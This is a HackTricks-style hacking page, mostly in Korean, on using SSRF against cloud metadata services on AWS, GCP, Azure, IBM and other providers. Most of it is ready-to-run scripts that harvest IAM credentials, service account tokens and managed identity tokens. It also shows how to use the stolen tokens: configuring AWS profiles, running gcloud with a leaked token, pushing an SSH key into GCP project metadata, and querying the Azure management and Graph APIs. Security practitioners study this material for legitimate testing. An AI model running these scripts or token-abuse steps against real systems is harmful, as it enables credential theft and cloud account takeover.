31 KiB
Cloud SSRF
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
AWS
AWS EC2 환경에서 SSRF 악용하기
메타데이터 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: http://169.254.169.254
(메타데이터에 대한 정보는 여기 참조).
메타데이터 엔드포인트에는 2가지 버전이 있습니다. 첫 번째 버전은 GET 요청을 통해 엔드포인트에 접근할 수 있게 해줍니다 (따라서 어떤 SSRF도 이를 악용할 수 있습니다). 버전 2인 IMDSv2에서는 HTTP 헤더와 함께 PUT 요청을 보내 토큰을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 SSRF로 악용하기 더 복잡합니다).
{% hint style="danger" %} EC2 인스턴스가 IMDSv2를 강제하는 경우, 문서에 따르면, PUT 요청의 응답은 hop limit이 1로 설정되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
또한, IMDSv2는 X-Forwarded-For
헤더를 포함한 토큰 요청을 차단합니다. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
{% endhint %}
메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다. 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
As a publicly available IAM credentials exposed example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
You can also check public EC2 security credentials in: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
공개적으로 사용 가능한 IAM 자격 증명 노출 예제로 다음을 방문할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
또한 다음에서 공개 EC2 보안 자격 증명을 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
그런 다음 해당 자격 증명을 사용하여 AWS CLI와 함께 사용할 수 있습니다. 이렇게 하면 해당 역할이 허용된 모든 작업을 수행할 수 있습니다.
새 자격 증명을 활용하려면 다음과 같이 새 AWS 프로필을 만들어야 합니다:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
aws_session_token에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.
PACU는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF
ECS는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. ECS에서 실행 중인 서비스를 손상시키면 메타데이터 엔드포인트가 변경됩니다.
_http://169.254.170.2/v2/credentials/<GUID>_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **<GUID>**를 찾아야 합니다. <GUID>를 찾으려면 머신 내의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
Path Traversal을 이용해 file:///proc/self/environ
을 읽을 수 있습니다.
언급된 http 주소는 AccessKey, SecretKey 및 token을 제공해야 합니다.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
{% hint style="info" %} 일부 경우에는 컨테이너에서 EC2 메타데이터 인스턴스에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다. {% endhint %}
AWS Lambda에 대한 SSRF
이 경우 자격 증명은 환경 변수에 저장됩니다. 따라서 이를 접근하려면 **file:///proc/self/environ
**과 같은 것을 접근해야 합니다.
흥미로운 환경 변수의 이름은 다음과 같습니다:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
게다가 IAM 자격 증명 외에도 Lambda 함수는 함수가 시작될 때 함수에 전달되는 이벤트 데이터를 가지고 있습니다. 이 데이터는 런타임 인터페이스를 통해 함수에 제공되며 민감한 정보(예: stageVariables 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **http://localhost:9001/2018-06-01/runtime/invocation/next
**에서 접근할 수 있습니다.
{% hint style="warning" %} lambda 자격 증명이 환경 변수 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 스택 추적이 환경 변수를 출력하면, 앱에서 오류를 유발하여 이들을 유출할 수 있는 가능성이 있습니다. {% endhint %}
AWS Elastic Beanstalk에 대한 SSRF URL
API에서 accountId
와 region
을 가져옵니다.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 API에서 AccessKeyId
, SecretAccessKey
및 Token
을 가져옵니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
명령어로 자격 증명을 사용합니다.
GCP
여기에서 메타데이터 엔드포인트에 대한 문서를 찾을 수 있습니다.
Google Cloud의 SSRF URL
HTTP 헤더 **Metadata-Flavor: Google
**가 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
정보를 추출하기 위한 흥미로운 엔드포인트:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta는 현재 헤더를 요구하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
{% hint style="danger" %} 유출된 서비스 계정 토큰을 사용하기 위해 다음과 같이 하면 됩니다:
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
{% endhint %}
SSH 키 추가
토큰 추출
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
토큰의 범위를 확인하세요 (이전 출력 또는 다음을 실행하여)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
이제 SSH 키를 푸시합니다.
{% code overflow="wrap" %}
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
{% endcode %}
Cloud Functions
메타데이터 엔드포인트는 VM과 동일하게 작동하지만 일부 엔드포인트가 없습니다:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
{% hint style="warning" %} AWS 역할이나 GCP 서비스 계정과 같은 것이 없으므로 메타데이터 봇 자격 증명을 찾을 수 있을 것이라고 기대하지 마십시오. {% endhint %}
Documentation available at https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- 반드시
Metadata: true
헤더를 포함해야 합니다. X-Forwarded-For
헤더를 포함해서는 안 됩니다.
{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
{% endcode %} {% endtab %}
{% tab title="PS" %}
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
{% endtab %} {% endtabs %}
Azure App Service
env에서 IDENTITY_HEADER
및 IDENTITY_ENDPOINT
의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.
대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
{% hint style="warning" %} IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내부에 있더라도 접근할 수 없을 수 있습니다. {% endhint %}
{% code overflow="wrap" %}
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
{% endcode %}
다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스에 대한 구성 및 런타임 정보를 액세스할 수 있는 방법을 강조합니다. 각 플랫폼은 메타데이터 서비스에 액세스하기 위한 고유한 엔드포인트를 제공합니다.
Packetcloud
Packetcloud의 메타데이터에 액세스하려면 문서를 참조하십시오: https://metadata.packet.net/userdata
OpenStack/RackSpace
헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음을 통해 액세스할 수 있습니다:
http://169.254.169.254/openstack
HP Helion
여기에서도 헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음에서 액세스할 수 있습니다:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud는 다양한 메타데이터 측면에 액세스하기 위한 일련의 엔드포인트를 제공합니다:
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Alibaba는 인스턴스 및 이미지 ID를 포함한 메타데이터에 액세스하기 위한 엔드포인트를 제공합니다:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 액세스는 다음을 통해 보여집니다:
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker 메타데이터는 로컬에서 액세스할 수 있으며, 컨테이너 및 이미지 정보 검색을 위한 예제가 제공됩니다:
- Docker 소켓을 통해 컨테이너 및 이미지 메타데이터에 액세스하는 간단한 예:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
- 컨테이너 내부에서 Docker 소켓을 사용하여 curl을 사용합니다:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher의 메타데이터는 다음을 사용하여 액세스할 수 있습니다:
curl http://rancher-metadata/<version>/<path>
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.